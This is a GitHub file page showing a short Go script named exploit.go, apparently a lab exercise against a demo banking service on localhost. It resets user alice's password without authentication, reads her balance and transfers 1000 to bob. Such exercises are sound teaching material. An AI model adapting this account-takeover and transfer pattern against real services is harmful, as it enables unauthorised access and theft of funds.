-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.go
106 lines (89 loc) · 2.06 KB
/
exploit.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package main
import (
"encoding/json"
"net/http"
"bytes"
"io"
)
func main() {
// aliceのパスワードをリセット
// alice := &User{Id: "alice"}
// r, _ := passwordReset(alice)
// fmt.Println(r)
// aliceの残高を表示
// alice := &User{Id: "alice", Password: "xxxx"}
// r, _ := balance(alice)
// fmt.Println(r)
// aliceからbobへ1000送金
// alice := &User{Id: "alice", Password: "xxxx"}
// bob := &User{Id: "bob"}
// r, _ := transfer(alice, bob, "1000")
// fmt.Println(r)
}
type SignupRequest struct {
Id string `json:"id"`
}
type PasswordResetRequest struct {
Id string `json:"id"`
}
type TransferRequest struct {
RecipientID string `json:"recipient_id"`
Amount string `json:"amount"`
}
type User struct {
Id string
Password string
}
func balance(user *User) (string, error) {
res, err := request(http.MethodPost, "http://localhost:8080/balance", nil, user)
if err != nil {
return "", err
}
return res, nil
}
func transfer(from, to *User, amount string) (string, error) {
body, err := json.Marshal(TransferRequest{
RecipientID: to.Id,
Amount: amount,
})
if err != nil {
return "", err
}
res, err := request(http.MethodPost, "http://localhost:8080/transfer", body, from)
if err != nil {
return "", err
}
return res, nil
}
func passwordReset(user *User) (string, error) {
body, err := json.Marshal(PasswordResetRequest{Id: user.Id})
if err != nil {
return "", err
}
res, err := request(http.MethodPost, "http://localhost:8080/password-reset", body, nil)
if err != nil {
return "", err
}
return res, nil
}
func request(method, url string, body []byte, user *User) (string, error) {
client := &http.Client{}
req, err := http.NewRequest(http.MethodPost, url, bytes.NewBuffer(body))
if err != nil {
return "", err
}
if user != nil {
req.Header.Add("X-ID", user.Id)
req.Header.Add("X-Password", user.Password)
}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
res, err := io.ReadAll(resp.Body)
if err != nil {
return "", err
}
return string(res), nil
}